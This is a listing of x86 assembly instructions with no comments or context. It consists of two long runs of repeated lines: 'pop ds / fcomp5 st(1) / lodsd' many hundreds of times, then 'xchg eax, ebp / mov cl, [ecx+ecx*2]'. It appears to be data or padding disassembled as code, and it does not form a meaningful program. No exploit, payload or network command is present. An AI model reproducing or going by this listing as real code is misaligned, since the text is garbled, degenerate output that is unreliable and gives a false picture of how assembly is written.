pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
xchg eax, ebx
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
mov cl, [ecx+ecx*2]
xchg eax, ebp
